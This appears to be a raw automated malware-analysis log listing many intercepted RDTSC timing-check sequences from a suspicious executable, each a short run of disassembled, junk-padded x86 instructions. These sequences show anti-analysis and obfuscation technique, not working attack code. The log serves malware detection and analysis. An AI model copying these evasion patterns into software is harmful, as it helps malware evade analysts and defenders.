Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6F943A second address: 6F9489 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007FE1C0EF51E6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f call 00007FE1C0EF51F6h 0x00000014 mov ebx, edx 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 jns 00007FE1C0EF51ECh 0x0000001f push 00000000h 0x00000021 mov edi, dword ptr [ebp+122D1D14h] 0x00000027 mov dword ptr [ebp+122D21FFh], edi 0x0000002d xchg eax, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 jc 00007FE1C0EF51E8h 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6F0D4E second address: 6F0D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6FB559 second address: 6FB55D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6FB55D second address: 6FB56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FE1C0B69E38h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 69C8A0 second address: 69C8C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE1C0EF51F7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FE1C0EF51E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6F95D9 second address: 6F9650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE1C0B69E36h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FE1C0B69E49h 0x00000012 nop 0x00000013 push ebx 0x00000014 adc ebx, 0DBE98C1h 0x0000001a pop ebx 0x0000001b push dword ptr fs:[00000000h] 0x00000022 cld 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push ecx 0x0000002b push edx 0x0000002c jnp 00007FE1C0B69E36h 0x00000032 pop edi 0x00000033 pop edi 0x00000034 mov eax, dword ptr [ebp+122D01E1h] 0x0000003a sub dword ptr [ebp+122D3260h], ebx 0x00000040 mov ebx, dword ptr [ebp+122D2B1Bh] 0x00000046 push FFFFFFFFh 0x00000048 jmp 00007FE1C0B69E45h 0x0000004d push eax 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 705FFA second address: 706034 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FE1C0EF51F7h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 jmp 00007FE1C0EF51EAh 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 708FF8 second address: 708FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 708FFE second address: 709009 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 709009 second address: 70901F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE1C0B69E36h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jnp 00007FE1C0B69E36h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 70901F second address: 709025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 70CCE9 second address: 70CD07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE1C0B69E36h 0x0000000a popad 0x0000000b push edi 0x0000000c jmp 00007FE1C0B69E40h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 70CD07 second address: 70CD29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE1C0EF51F6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 70CD29 second address: 70CD2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 70CD2D second address: 70CD4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FE1C0EF51E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 70CD4C second address: 70CD50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 70CD50 second address: 70CD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 70D861 second address: 70D878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E43h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714E57 second address: 714E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE1C0EF51E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714E61 second address: 714E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714E65 second address: 714E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714E6B second address: 714E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714E71 second address: 714E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714E75 second address: 714E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 713D7F second address: 713D83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 713D83 second address: 713D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DB36B second address: 6DB370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DB482 second address: 6DB486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DB8A6 second address: 6DB8D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FE1C0EF51EBh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007FE1C0EF51E8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DBA2D second address: 6DBA5E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FE1C0B69E36h 0x0000000d jmp 00007FE1C0B69E48h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 jl 00007FE1C0B69E44h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DBCC6 second address: 6DBCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DC4EC second address: 6DC53C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007FE1C0B69E40h 0x0000000f pushad 0x00000010 jl 00007FE1C0B69E36h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 nop 0x0000001a jnp 00007FE1C0B69E3Ch 0x00000020 mov edi, dword ptr [ebp+122D2322h] 0x00000026 mov dword ptr [ebp+124483DDh], eax 0x0000002c lea eax, dword ptr [ebp+1246FF46h] 0x00000032 jmp 00007FE1C0B69E40h 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FE1C0B69E3Bh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 6DB878 second address: 6DB8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0EF51EAh 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE1C0EF51F9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 71416E second address: 714172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714172 second address: 714178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714178 second address: 71417E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 71417E second address: 71418E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FE1C0EF51E6h 0x0000000a jne 00007FE1C0EF51E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 71461D second address: 71464F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 ja 00007FE1C0B69E36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE1C0B69E3Dh 0x00000013 jmp 00007FE1C0B69E47h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714A54 second address: 714A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714A5E second address: 714A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714A62 second address: 714A84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE1C0EF51F4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FE1C0EF51E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 714A84 second address: 714A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 71950B second address: 71951E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C0EF51E6h 0x00000008 jne 00007FE1C0EF51E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 71967C second address: 719682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719836 second address: 719842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719842 second address: 719846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719846 second address: 719853 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE1C0EF51E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719ADD second address: 719B33 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE1C0B69E4Ah 0x00000008 jmp 00007FE1C0B69E3Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FE1C0B69E3Ch 0x00000017 jmp 00007FE1C0B69E49h 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719B33 second address: 719B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719CCE second address: 719CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719CD4 second address: 719CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719CD8 second address: 719CE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719CE8 second address: 719CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719F8C second address: 719F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE1C0B69E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719F96 second address: 719F9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 719F9C second address: 719FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE1C0B69E43h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FE1C0B69E42h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 72190B second address: 721911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 721911 second address: 721915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 721915 second address: 721964 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FE1C0EF51F9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push ebx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop ebx 0x00000011 jc 00007FE1C0EF51EEh 0x00000017 jg 00007FE1C0EF51E6h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007FE1C0EF51F8h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 720A82 second address: 720A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7204F1 second address: 7204F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7204F5 second address: 7204FB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 727615 second address: 72761B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 72773E second address: 727751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE1C0B69E36h 0x0000000a jc 00007FE1C0B69E36h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 72EF73 second address: 72EF79 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 72E781 second address: 72E794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 jno 00007FE1C0B69E36h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 72EA2E second address: 72EA42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FE1C0EF51E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FE1C0EF51E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 72EA42 second address: 72EA48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 732C77 second address: 732C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 732C7B second address: 732C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FE1C0B69E3Ch 0x0000000c jo 00007FE1C0B69E36h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 732C91 second address: 732C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 731F9A second address: 731FA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 732107 second address: 732132 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007FE1C0EF51E6h 0x0000000b jl 00007FE1C0EF51E6h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop esi 0x0000001c jmp 00007FE1C0EF51EFh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 732132 second address: 732152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E3Ah 0x00000009 jmp 00007FE1C0B69E42h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 73227D second address: 732285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 732285 second address: 73229E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE1C0B69E40h 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7323E5 second address: 732406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnc 00007FE1C0EF51FBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 732406 second address: 73240C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 73240C second address: 732412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 732412 second address: 732416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 73252C second address: 732536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 732819 second address: 732834 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jne 00007FE1C0B69E36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 732834 second address: 73283C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 736D6F second address: 736D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 73708C second address: 737092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 737092 second address: 73709C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 737391 second address: 737397 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7374C4 second address: 7374D4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE1C0B69E36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 7374D4 second address: 7374D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
